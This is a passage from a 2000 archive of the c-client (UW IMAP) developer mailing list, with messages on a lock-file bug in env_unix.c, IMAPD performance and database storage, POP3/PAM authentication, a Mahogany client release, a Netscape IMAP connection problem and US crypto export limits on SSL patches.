List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: c-client Subject: bug in env_unix.c MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V /Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=C d|PGglock. What it should test for is base->lock[0] as= the first byte is set to 0 if the code thinks that a re-try isn't necessary. In fact, base->lock is guaranteed to be a non-NULL pointer anyway and has been dereferenced further up in the function. Apart from that, I also found that missing write-permissions (i.e. a EACCES= S errno if I remember correctly) would go into the loop, which appears kind o= f pointless to me as write permissions are unlikely to change. To improve that situation, I added a base->lock[0] =3D '\0'; just above the EEXIST case label. So if the lock file does not exist but ca= nnot we don't have permission to create it (i.e. running as a mail client rather= than server, we don't have write permission in /var/spool/mail), it will not go = into the sleep(1) loop. -- Karsten Ball=FCder http://Ballueder.home.dhs.org/ mailto:karsten@phy.hw.= ac.uk Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 "In a world without fences, who needs Gates?" =20 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Mar 27 19:41:11 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 27 Mar 2000 19:41:11 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id TAA03268 for ; Mon, 27 Mar 2000 19:41:10 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA17280; Mon, 27 Mar 2000 19:41:04 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id TAA00833; Mon, 27 Mar 2000 19:40:18 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id TAA28100 for ; Mon, 27 Mar 2000 19:38:44 -0800 Received: from rmail1.hanmir.com (rmail1.hanmir.com [128.134.130.161]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA25288 for ; Mon, 27 Mar 2000 19:38:41 -0800 Received: (from nobody@localhost) by rmail1.hanmir.com (8.9.3/8.9.3) id MAA16839; Tue, 28 Mar 2000 12:33:41 +0900 (KST) Message-Id: <200003280333.MAA16839@rmail1.hanmir.com> Date: Tue, 28 Mar 2000 12:33:41 +0900 (KST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Kwangyeon Bae" To: c-client@u.washington.edu Subject: IMAPD performance question? Content-Type: text/plain; charset=euc-kr Content-Transfer-Encoding: 8bit X-IP: 210.220.202.55 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello! We are planning to provide Email service by using UW-IMAPD. We are wonding if UW-IMAPD can satisfy our requirements.. If anyone experiences IMAPD performance, would you please give us your valuable advice !! -- Our Service Requirement Maximum Users: 100,000 Concurrent IMAP Sessions: 400 Average User Connect Time Per Session: 5 minutes Average Disk Size per User: 50MB Average Disk Usage per Session: 500KB The number of Messages fetched per Session: 10 Maximum Delay to fetch RFC822 header per Session: 3 seconds -- Our Hardware Specification UltraSPARC IIi(Solaris 2.6 installed) CPU : 300 MHz Memory: 1 GB Hard Disk: 1 Fiber channel connected to SunStoreEdge A5100 Hard Disk Size: 180GB We hacked IMADP authention part to use User Directory Server.. So, we don't use /etc/passwd Scheme.. At first, We want to know if our hard spec can support the requirement. and If that's impossible, what should we consider a little more ? I heard that mbx format is faster than unix format.. It is true? Any Comments will be appreciated.. Bae -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Mar 27 20:44:13 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 27 Mar 2000 20:44:13 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA28479 for ; Mon, 27 Mar 2000 20:44:12 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA18426; Mon, 27 Mar 2000 20:44:10 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id UAA26359; Mon, 27 Mar 2000 20:43:16 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id UAA33690 for ; Mon, 27 Mar 2000 20:42:31 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA00884 for ; Mon, 27 Mar 2000 20:42:31 -0800 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA04865; Mon, 27 Mar 2000 20:42:31 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (chj@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id UAA08654; Mon, 27 Mar 2000 20:42:31 -0800 Message-Id: Date: Mon, 27 Mar 2000 20:36:40 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Sebastian Hagedorn Cc: c-client@u.washington.edu Subject: re: What's so different between ipop3d 6.50 and 7.64? In-Reply-To: <700530.3162560565@mac.spinfo.uni-koeln.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Can you be more specific by what you mean by "couldn't access their mail via POP anymore". Do the users get an error message? Or, what happens? "Authenticated user=xxx" does not come from the POP3 server; it comes from the IMAP server. The POP3 server would say "Auth user=xxx". So, what is the precise message? On Mon, 20 Mar 2000 17:02:45 +0100, Sebastian Hagedorn wrote: > However, when I tried to replace it with version 7.64, which is part of > IMAP-4.7a, I found that Netscape users couldn't access their mail via POP > anymore. > > Further examination revealed that Netscape seems to use a different kind of > authentication. For most users the logfile simply states "Login > user=xxx...", whereas it states "Authenticated user xxx..." for people who > access their mail with Netscape. From pinedev@shivax2.cac.washington.edu Tue Mar 28 01:27:21 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Mar 2000 01:27:21 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA05027 for ; Tue, 28 Mar 2000 01:27:20 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA01068; Tue, 28 Mar 2000 01:27:18 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id BAA09306; Tue, 28 Mar 2000 01:26:35 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id BAA54246 for ; Tue, 28 Mar 2000 01:25:34 -0800 Received: from mail2.netcologne.de (mail2.netcologne.de [194.8.194.103]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA02169 for ; Tue, 28 Mar 2000 01:25:32 -0800 Received: from dial6-70.netcologne.de (dial6-70.netcologne.de [194.8.196.70]) by mail2.netcologne.de (8.9.3/8.9.3) with ESMTP id LAA15610; Tue, 28 Mar 2000 11:25:23 +0200 (MET DST) Message-Id: <57436.3163231521@dial6-70.netcologne.de> Date: Tue, 28 Mar 2000 11:25:21 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: What's so different between ipop3d 6.50 and 7.64? In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -- Mark Crispin is rumored to have mumbled on Montag, 27. M=E4rz 2000 20:36 Uhr -0800 regarding re: What's so different between ipop3d 6.50 and 7.64? : Thanks for your reply. At this point this is merely academic, because I got = 7.64 to run by fiddling with the PAM settings. The messages I saw came from = the warn module in /etc/pam.d/other. We are using NIS+ for authentication. I had already modified most of the other PAM files, but there was none for POP and I had overlooked the 'other' file. > Can you be more specific by what you mean by "couldn't access their mail > via POP anymore". Do the users get an error message? Or, what happens? Something like authentication failure, but I don't remember the exact = words. > "Authenticated user=3Dxxx" does not come from the POP3 server; it comes > from the IMAP server. The POP3 server would say "Auth user=3Dxxx". So, > what is the precise message? I'm quite sure that I copied the message correctly, but now I think that it = came from the PAM module, not from the server itself. > On Mon, 20 Mar 2000 17:02:45 +0100, Sebastian Hagedorn wrote: >> However, when I tried to replace it with version 7.64, which is part of >> IMAP-4.7a, I found that Netscape users couldn't access their mail via = POP >> anymore. >> >> Further examination revealed that Netscape seems to use a different kind >> of authentication. For most users the logfile simply states "Login >> user=3Dxxx...", whereas it states "Authenticated user xxx..." for people >> who access their mail with Netscape. Greetings, Sebastian -- Sebastian Hagedorn Ehrenfeldg=FCrtel 156, 50823 K=F6ln, Germany http://www.spinfo.uni-koeln.de/~hgd/ From pinedev@shivax2.cac.washington.edu Tue Mar 28 02:59:28 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Mar 2000 02:59:27 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA10561 for ; Tue, 28 Mar 2000 02:59:26 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA02678; Tue, 28 Mar 2000 02:59:24 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id CAA04010; Tue, 28 Mar 2000 02:58:46 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id CAA50038 for ; Tue, 28 Mar 2000 02:58:00 -0800 Received: from phy.hw.ac.uk (root@innpin.phy.hw.ac.uk [137.195.28.2]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA13545 for ; Tue, 28 Mar 2000 02:57:59 -0800 Received: from phyw164.phy.hw.ac.uk (phyw164.phy.hw.ac.uk [137.195.28.88]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id LAA28868; Tue, 28 Mar 2000 11:57:33 +0100 (BST) Message-Id: <200003281057.LAA28868@phy.hw.ac.uk> Date: Tue, 28 Mar 2000 11:57:02 +0100 (GMT) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: c-client , Linux Gazette , m-announce , m-developers , m-users@egroups.com Subject: Mahogany e-mail client 0.50 released MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V/Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=Cd|PGg Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Mar 2000 12:38:13 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA01133 for ; Tue, 28 Mar 2000 12:38:12 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA06483; Tue, 28 Mar 2000 12:38:09 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id MAA26525; Tue, 28 Mar 2000 12:37:06 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA49962 for ; Tue, 28 Mar 2000 12:35:43 -0800 Received: from centonline.com (mail.centonline.com [204.238.52.24]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA17123 for ; Tue, 28 Mar 2000 12:35:41 -0800 Received: from cvis0.centonline.com (cvis0 [204.238.52.4]) by centonline.com (8.8.8/8.8.8) with ESMTP id OAA32278; Tue, 28 Mar 2000 14:46:24 -0600 Message-Id: Date: Tue, 28 Mar 2000 14:36:33 -0600 (CST) Reply-To: wsuetholz@centonline.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: wsuetholz@centonline.com To: Karsten Ballueder Cc: m-users@egroups.com, m-developers , m-announce Subject: RE: Mahogany e-mail client 0.50 released In-Reply-To: <200003281057.LAA28868@phy.hw.ac.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 X-Sender: bill@cvis0.centonline.com X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Nice to hear that M is still going forward.. It is still somewhat difficult for me to get to work. I will try this latest release soon. With regard to version 0.51: I hope that you have a way of being able to use the threads libraries for UnixWare 2.1 and UnixWare 7. It seems that SCO doesn't provide the Posix threads, instead they still use the old SUN threads libraries. This has been causing me problems getting threads based applications to compile and work for me. XFree86 has handled this by providing an XThreads header that does the conversion for you. Has Mr. Crispin accepted any of your threads based patches back into the C-Client library? To those of you on the M lists, Please include me in any replies you make since I am on the c-client list, not your lists. Bill Suetholz From pinedev@shivax2.cac.washington.edu Tue Mar 28 19:11:58 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Mar 2000 19:11:58 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id TAA23794 for ; Tue, 28 Mar 2000 19:11:56 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA18549; Tue, 28 Mar 2000 19:11:54 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id TAA24685; Tue, 28 Mar 2000 19:11:13 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id TAA48044 for ; Tue, 28 Mar 2000 19:09:23 -0800 Received: from rmail1.hanmir.com (rmail1.hanmir.com [128.134.130.161]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA13255 for ; Tue, 28 Mar 2000 19:09:20 -0800 Received: (from nobody@localhost) by rmail1.hanmir.com (8.9.3/8.9.3) id MAA08186; Wed, 29 Mar 2000 12:04:29 +0900 (KST) Message-Id: <200003290304.MAA08186@rmail1.hanmir.com> Date: Wed, 29 Mar 2000 12:04:29 +0900 (KST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Kwangyeon Bae" To: c-client@u.washington.edu Subject: Re: IMAPD performance question? Content-Type: text/plain; charset=euc-kr Content-Transfer-Encoding: 8bit X-IP: 210.220.202.55 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thanks for your valuable advices about IMAPD performance!! We have anothoer question on using IMAPD.. At first, we worried about file system approach because It can be broken during File I/O. We are hacking IMAPD to use Oracle Database when storing Mailbox. That project is almost finished. But during that project, we were concerned about Oracle Database approach is better than File system approach in performance and reliability. If anyone experienced Database approach, would you please give us your valuable advice !! Any comments will be appreciated... Bae From pinedev@shivax2.cac.washington.edu Wed Mar 29 01:34:35 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Mar 2000 01:34:34 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA03201 for ; Wed, 29 Mar 2000 01:34:32 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA25443; Wed, 29 Mar 2000 01:34:29 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id BAA07536; Wed, 29 Mar 2000 01:33:47 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id BAA30510 for ; Wed, 29 Mar 2000 01:30:57 -0800 Received: from polsmtp.in2p3.fr (polsmtp.in2p3.fr [193.48.94.3]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA08332 for ; Wed, 29 Mar 2000 01:30:55 -0800 Received: from poly.in2p3.fr (naiade.in2p3.fr [193.48.94.171]) by polsmtp.in2p3.fr (8.9.3/8.9.3) with ESMTP id LAA19170 for ; Wed, 29 Mar 2000 11:29:47 +0200 Message-Id: <38E1CCE0.A4192D19@poly.in2p3.fr> Date: Wed, 29 Mar 2000 11:29:04 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Frederic Bongat To: c-client@u.washington.edu Subject: Pine compile problem : large size MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: bongat@poly.in2p3.fr X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have compiled Pine 4.21 on HP-UX 10.20, and the pine's size does 10 Mo. When I download the binary from the HP Site, it does 3 Mo. I am surprised ! I just compile with default option. I type "build hpx". Is there a difference between the two versions ? How to change this in my compilation ? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Mar 29 16:27:14 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Mar 2000 16:27:13 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA22766 for ; Wed, 29 Mar 2000 16:27:12 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA16684; Wed, 29 Mar 2000 16:27:11 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id QAA14972; Wed, 29 Mar 2000 16:24:54 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA28734 for ; Wed, 29 Mar 2000 16:19:34 -0800 Received: from wyrm.its.uow.edu.au (wyrm.its.uow.edu.au [130.130.68.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA06721 for ; Wed, 29 Mar 2000 16:19:32 -0800 Received: from dustpuppy.its.uow.edu.au (dustpuppy.its.uow.edu.au [130.130.68.38]) by wyrm.its.uow.edu.au (8.9.3/8.9.3) with ESMTP id KAA26953 for ; Thu, 30 Mar 2000 10:17:27 +1000 (EST) Received: (from simon@localhost) by dustpuppy.its.uow.edu.au (8.9.3/8.9.3) id KAA06454 for c-client@u.washington.edu; Thu, 30 Mar 2000 10:17:27 +1000 (EST) Message-Id: <20000330101726.A6444@uow.edu.au> Date: Thu, 30 Mar 2000 10:17:26 +1000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Simon Coggins To: c-client@u.washington.edu Subject: Netscape + IMAP Problem. Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I've just joined the list so excuse me if this has been raised before. I tried using the search engine on the message archive but it appears to be broken (searching for 'imap' returns 0 results as do all other queries). I have a problem where Netscape is trying to open multiple connections to the IMAP server. If you your inbox it opens an imap connection, then if you click on another folder (say saved-messages), it opens yet another IMAP connection. The problem occurs when you copy a message from the inbox to the saved-messages folder after the 2 imap sessions are open. I imap process is looking at saved-messages and the other inbox. The inbox imap then tries to open saved-messages (as your trying to move the message to that folder), then the saved-messages imap connection gets killed (via USR2) as it's holding the saved-messages file open. The result of this is that netscape is to stupid to realise the connection has closed and when you clock back on saved-messages the folder doesn't load because the imap connection has gone away. I know this is most defiantly a netscape problem, but surly someone else has had the same problem. We are running imap-4.4, I've tried 4.7b but it has the same problems and appears to be less than stable. Any help would be appreciated. Regards Simon Network and System Management Officer ITS University of Wollongong Wollongong, 2522 Phone: +61-2-4221-3775 Fax: +61-2-4229-1985 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Mar 29 17:39:15 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Mar 2000 17:39:15 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA24822 for ; Wed, 29 Mar 2000 17:39:14 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA18422; Wed, 29 Mar 2000 17:39:12 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id RAA18736; Wed, 29 Mar 2000 17:37:22 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id RAA45164 for ; Wed, 29 Mar 2000 17:35:46 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA27193 for ; Wed, 29 Mar 2000 17:35:45 -0800 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA04620; Wed, 29 Mar 2000 17:35:45 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (pd@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id RAA06771; Wed, 29 Mar 2000 17:35:45 -0800 Message-Id: Date: Wed, 29 Mar 2000 17:34:52 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Simon Coggins Cc: c-client@u.washington.edu Subject: re: Netscape + IMAP Problem. In-Reply-To: <20000330101726.A6444@uow.edu.au> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 30 Mar 2000 10:17:26 +1000, Simon Coggins wrote: > We are running imap-4.4, I've tried 4.7b but it has > the same problems and appears to be less than stable. Hello. I am interested to find out why you consider 4.7b to be "less than stable". It should be much better than 4.4. -- Mark -- From pinedev@shivax2.cac.washington.edu Sat Apr 1 19:24:46 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sat, 1 Apr 2000 19:24:46 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id TAA30586 for ; Sat, 1 Apr 2000 19:24:45 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA09311; Sat, 1 Apr 2000 19:24:43 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id TAA18417; Sat, 1 Apr 2000 19:24:02 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id TAA41950 for ; Sat, 1 Apr 2000 19:22:05 -0800 Received: from sttlpop2.sttl.uswest.net (pop.sttl.uswest.net [206.81.192.2]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id TAA18817 for ; Sat, 1 Apr 2000 19:22:04 -0800 Received: (qmail 28047 invoked by alias); 2 Apr 2000 03:22:04 -0000 Received: (qmail 28034 invoked by uid 0); 2 Apr 2000 03:22:03 -0000 Received: from pdsl174.sttl.uswest.net (209.181.139.174) by mail.sttl.uswest.net with SMTP; 2 Apr 2000 03:22:03 -0000 Message-Id: Date: Sat, 1 Apr 2000 19:20:04 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Terry Gray To: c-client Subject: Re: c-client and SSL now possible to release? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: 8BIT X-X-Sender: gray@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The "non-discriminatory" refers to the fact that we do not have any mechanism in place to prevent export of our software to the so-called forbidden countries. (This has to do with US export laws.) We are still trying to find a definitive statement from our government that the recent proposed relaxation in export rules is going to stick and that it allows us to put our crypto-related source on an internet server. (Even if the new rules do apply, there are still constraints. For example, I'm told that --curiously-- we still can't put binaries with any crypto code on our servers.) I don't have a url for either the old or new rules, but the old ones were complex, contradictory, and specified very serious penalties. -teg On Sat, 1 Apr 2000, Kevin W. Mullet wrote: > What's the latest on this? This message below dated 04 Feb indicates > there might be hope for UW being able to distribute its c-client SSL > patches. The FAQ answer at > http://www.washington.edu/imap/IMAP-FAQs/FAQ-00014.html, also dated 04 > February, says that distribution isn't possible "because we distribute > free software in source form on a non-discriminatory basis". > > Help me out here. Is the reference to distribution on a > non-discriminatory basis a reference to a 